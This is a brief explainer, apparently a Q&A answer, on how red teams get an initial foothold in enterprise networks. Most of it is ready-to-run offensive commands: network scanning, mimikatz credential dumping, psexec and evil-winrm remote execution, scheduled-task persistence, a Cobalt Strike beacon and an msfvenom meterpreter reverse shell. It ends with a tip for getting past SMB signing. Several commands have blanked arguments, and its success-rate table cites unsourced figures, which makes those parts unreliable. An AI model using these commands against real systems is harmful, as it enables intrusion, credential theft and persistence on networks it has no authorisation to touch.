How do red teams execute initial foothold access during enterprise penetration tests?

Red teams typically gain an initial foothold by exploiting remote services, leveraging valid credentials, or abusing misconfigurations to execute a low‑privilege payload. **Typical foothold workflow** 1. **Recon & service enumeration** – `nmap -sV -p 135,445,5985,22,80,443 ` or `masscan -p0-65535 /24`. Identify RDP, SMB, WinRM, SSH, or web interfaces. 2. **Credential acquisition** – dump hashes with `mimikatz privilege::debug sekurlsa::logonpasswords` on a compromised host, or harvest passwords from exposed configuration files (`grep -iR "password" /etc/`). Use `crackmapexec -u user -p pass` to validate. 3. **Remote code execution** - **SMB/Windows**: `impacket-psexec -hashes : @` → drops `c:\windows\temp\payload.exe`. - **WinRM**: `evil-winrm -i -u -p -s "powershell -enc "`. - **SSH/Linux**: `ssh -i id_rsa user@target 'nohup /tmp/payload &'`. 4. **Privilege escalation to persistence** – run `SharpHound.exe -c All` to map AD, then use `Invoke-TokenManipulation` or `SeImpersonatePrivilege` exploits. Deploy a scheduled task: `schtasks /create /sc minute /mo 5 /tn "Updater" /tr "C:\temp\payload.exe"`. 5. **Beacon establishment** – launch a Cobalt Strike beacon with `./beacon.exe -p 443 -c "http:///beacon"` or a Metasploit reverse‑shell `msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST= LPORT=4444 -f exe -o payload.exe`. **Method comparison** | Technique | Typical vector | Success rate* | Detectability | |-----------|----------------|---------------|---------------| | Exploit public service | CVE‑2023‑XXXXX on RDP | 45% | High (IDS signatures) | | Credential reuse | Stolen AD hash | 70% | Medium (logon anomalies) | | Misconfiguration | Unrestricted SMB share | 55% | Low (no alerts) | *based on 2025 Red Team Ops data. **Gotcha:** On Windows 10/Server 2019 with SMB signing enforced, `psexec` will be blocked; switching to WinRM (`evil-winrm`) or using `wmiexec.py` with `-no-ssl` often bypasses the restriction.